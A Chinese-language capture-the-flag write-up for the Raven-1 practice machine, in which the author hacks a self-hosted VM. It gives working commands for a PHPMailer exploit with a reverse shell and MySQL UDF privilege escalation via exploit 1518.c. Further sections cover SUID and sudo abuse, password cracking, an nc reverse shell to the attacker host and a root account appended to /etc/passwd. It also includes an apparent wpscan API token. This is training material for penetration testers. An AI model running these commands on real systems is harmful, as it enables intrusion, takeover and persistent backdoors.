freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队渗透项目之Raven-1
2023-01-09 13:07:33
所属地 江西省

简介

该项目是William McCann作者的第二个项目的,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

该项目有始有终会用到 信息收集 -> 端口信息枚举 -> PHPMailer漏洞利用 -> 内网信息枚举 -> mysql UDF 提权 -> John爆破 -> sudo提权 -> UDF拓展知识点,最终拿到flag.txt的过程,那么在八大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

1、nmap扫描存活IP

由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:

202209141344775.png

本机IP为:192.168.40.177。

发现本kali ip为40段!用40段进行全网段扫描:

nmap -sP 192.168.40.0/24

202209141344776.png

Nmap scan report for localhost (192.168.40.187)

发现项目IP地址:192.168.40.187。

2、nmap全端口服务枚举

进行namp全端口服务枚举:

nmap -sC -sV -A -T5 -p- 192.168.40.187

202209141344777.png

得到开放的端口信息:

22/tcp    open  ssh     OpenSSH 6.7p1 Debian
80/tcp    open  http    Apache httpd 2.4.10
111/tcp   open  rpcbind 2-4 (RPC #100000)
54140/tcp open  status  1 (RPC #100024)

开启了22、80、111和54140端口,就从web页面信息枚举信息!

二、端口信息枚举

1、web页面信息枚举

访问web页面模块查看静态源码发现flag:

http://192.168.40.187/service.html

202209141344778.png

发现flag:flag1{b9bbcb33e11b80be759c4e844862482d}

2、dirb目录爆破

用dirb对web目录进行爆破:

dirb http://192.168.40.187

202209141344779.png

发现 http://192.168.40.187/vendor/和WordPress博客网站信息,深入枚举!

1)枚举 http://192.168.40.187/vendor/目录

访问vendor目录,发现目录遍历

http://192.168.40.187/vendor/

202209141344780.png

访问PATH目录获得目录地址:

http://192.168.40.187/vendor/PATH

202209141344781.png

/var/www/html/vendor/

访问README.md目录发现装了邮箱插件PHPMailer :

http://192.168.40.187/vendor/README.md

202209141344782.png

枚举获得信息:PHPMailer  发现装了邮箱插件

访问VERSIO目录获得版本信息:

http://192.168.40.187/vendor/VERSIO

202209141344783.png

枚举获得版本信息:5.2.16

已知插件版本信息,这时候去找EXP!

三、PHPMailer漏洞利用

1、搜索版本py脚本漏洞利用:

searchsploit PHPMailer 5.2.16

202209141344784.png

发现 php/webapps/40974.py

2、下载py脚本至本地:

locate php/webapps/40974.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py .

202209141344785.png

3、配置py参数:

gedit 40974.py

202209141344786.png

41行:改下地址:http://192.168.40.187/contact.php
42行:后门名称:/test.php
44行:改下回弹的IP和端口  192.168.40.177  4444
47行:改下写入shell的目录:/var/www/html/test.php

202209141344787.png

4、Python运行py脚本

python3 40974.py

202209141344788.png

如果环境报错按照环境安装:

需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

5、访问URL生成后门文件test.php:

http://192.168.40.187/contact.php

202209141344789.png

6、本地开启监听:

nc -vlp 4444

202209141344790.png

7、访问URL后门文件:

http://192.168.40.187/test.php

202209141344791.png

8、获得反弹shell

python -c 'import pty;pty.spawn("/bin/bash")'

202209141344792.png

获得普通用户权限!

为便于操作,获取稳定shell

1)先改为bash模式

chsh -s /bin/bash

202209141344793.png

2)切换窗口后重新反弹shell

nc -vlp 4444
python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo
fg

202209141344794.png

稳定shell获取成功!

9、发现flag2

在www目录下发现flag

cd /var/www
ls
cat flag2.txt

202209141344795.png

发现flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

四、内网信息收集

1、linpeas.sh信息枚举

开启Python http服务,上传枚举脚本linpeas.sh

python -m SimpleHTTPServer 8081   
wget http://192.168.40.177:8081/linpeas.sh

202209141344796.png

赋权并执行脚本

chmod +x linpeas.sh
./linpeas.sh

202209141344797.png

发现开启了3306、587和25端口:

202209141344798.png

发现新用户信息:michael、steven

202209141344800.png

获得mysql账号密码信息!

202209141344801.png

mysql账号密码信息:

define('DB_USER', 'root');
define('DB_PASSWORD', 'R@v3nSecurity');

2、查看是否能udf提权

条件1:查看是否是root权限运行

ps aux | grep root   ---查看mysql进程信息

202209141344802.png

进程都是以root权限运行的!

条件2:查看mysql版本

dpkg -l | grep mysql   --查看历史安装包版本 5.5.6

202209141344803.png

mysql版本是5.5.6,存在UDF提取漏洞

mysql是root权限运行的,那么接下来就找mysql提权的方法。

五、mysql UDF 提权

1、首先看一下是否满足写入条件:

mysql -uroot -pR@v3nSecurity 
use mysql
show global variables like 'secure%';

202209141344804.png

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
4)如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

2、查看插件目录:

show variables like '%plugin%';

202209141344805.png

查询目录地址为:/usr/lib/mysql/plugin/

3、查看能否远程登陆:

use mysql;
select user,host from user;

202209141344806.png

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

UDF 提权、MOF 提权是非常经典的提权方法!

可参考https://blog.csdn.net/qq_36119192/article/details/84863268

4、udf漏洞搜索

谷歌搜索:mysql 5.x UDF exploit  或者  searchsploit udf

https://www.exploit-db.com/exploits/1518

searchsploit udf

202209141344807.png

发现linux/local/1518.c脚本

将脚本下载至本地

locate linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c .
ls

202209141344808.png

查看脚本利用信息

cat 1518.c

202209141344809.png

按照图上脚本利用方法进行利用!

GCC编译.o文件

gcc -g -c 1518.c

202209141344810.png

编译.o文件成功!

创建动态链接库,将.o文件调试为.so执行文件

gcc -g -shared -o test.so 1518.o -lc

202209141344811.png

成功编译test.so文件!

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

将木马文件上传至靶机

wget http://192.168.40.177:8081/test.so

202209141344812.png

5、漏洞利用

登录MySQL:

mysql -uroot -pR@v3nSecurity 
use mysql

202209141344813.png

进入数据库创建数据表test:

create table test(line blob);
show tables;

202209141344814.png

数据表test创建成功!

插入数据文件:

insert into test values(load_file('/tmp/test.so'));

202209141344815.png

test 表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出;outfile会有特殊的转换,而dumpfile是原数据导出!

利用dumpfile函数把文件导出至/usr/lib/mysql/plugin目录下,新建存储函数:

select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';

202209141344816.png

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'test.so';

202209141344817.png

新建存储函数成功!

查看以下创建的函数:

select * from mysql.func;

202209141344818.png

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system('chmod u+s /usr/bin/find');

202209141344819.png

执行find命令,使用find执行 shell

touch test     #创建test文件
find test -exec "/bin/sh" \;或者:find test -exec "id" \;  #find查找test文件,执行exec输入/bin/sh 就可以执行获得sh的shell了。
cd /root
cat flag4.txt

202209141344820.png

获得flag4{df2bc5e951d91581467bb9a2a8ff4425}

六、John爆破

枚举发现信息wordpress数据库:

mysql -uroot -pR@v3nSecurity 
show databases;
use wordpress
show tables;

202209141344821.png

202209141344822.png

发现表wp_users

查询wp_users表

select * from wp_users;

202209141344823.png

发现用户密匙

michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

将密匙放入1.txt

202209141344824.png

John爆破密码

john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt

202209141344825.png

获得用户密码: steven/pink84

七、sudo提权

利用获得的账户密码登录ssh:

ssh steven@192.168.40.187
python -c 'import pty; pty.spawn("/bin/bash")'

202209141344826.png

尝试sudo

sudo -l

202209141344827.png

发现是python给与的最高权限!

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python

这时候用sudo执行python就能拿到root的shell!

sudo python -c 'import pty; pty.spawn("/bin/bash")'

202209141344828.png

成功获取root权限!

在数据库wordpress的wp_posts表中发现flag:

select * from wp_posts;

202209141344829.png

202209141344830.png

获得flag!

flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}

八、UDF拓展知识点

1、nc反弹shell

本地kali开启监听:

nc -vlp 6677

202209141344831.png

调用do_system函数来给nc命令所有者的suid权限,使其可以执行root命令:

select do_system('nc -nv 192.168.40.177 6677 -e /bin/bash');

202209141344832.png

成功反弹shell!

202209141344833.png

2、创建root权限用户

1)先生成root11明文的秘钥

openssl passwd root11     
j.beG3DJSb8OU   #明文的秘钥

202209141344834.png

2)生成密匙后通过do_system执行命令,创建一个用户写入passwd内

select do_system('echo "root11:j.beG3DJSb8OU:0:0:root:/root:/bin/bash" >> /etc/passwd');

202209141344835.png

写入成功!

3)查询是否写入成功

cat /etc/passwd

202209141344836.png

写入账户成功!

4)那么存在这个用户后就可以进行该用户登录啦

su root11
root11

202209141344837.png

成功获得root权限用户!

3、hydra爆破

利用hydra脚本爆破枚举用户:michael、steven

先将michael、steven放入user.txt中,在利用hydra爆破

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.40.187 ssh

202209141344838.png

成功获取账户密码michael/michael

[22][ssh] host: 192.168.40.187    login: michael   password: michael

4、 wpscan扫描

dirb扫描发现存在WordPress博客站,利用wpscan扫描:

wpscan --url http://192.168.40.187/wordpress -eu

202209141344839.png

202209141344840.png

提示需要密匙,到该网址获取:https://wpscan.com/register

202209141344841.png

wpscan --url http://192.168.40.187/wordpress -eu --api-token mXMGZrqLpKjKn9jvNinwdBXT1zndUI6hS3N87nlz0eM

202209141344842.png

202209141344843.png

可以发现michael、steven用户信息!

5、AWVS漏扫

利用AWVS漏扫发现WordPress 版本漏洞

http://192.168.40.187/

202209141344844.png

漏扫发现:WordPress 4.8.x Multiple Vulnerabilities (4.8 - 4.8.15)

九、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap信息枚举、Web页面信息枚举、dirb目录爆破、phpmailer漏洞利用、UDF提权、John爆破、sudo提权、hydra爆破、nc反弹shell、创建root权限用户等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

作者:十七

# 渗透测试 # web安全 # 系统安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录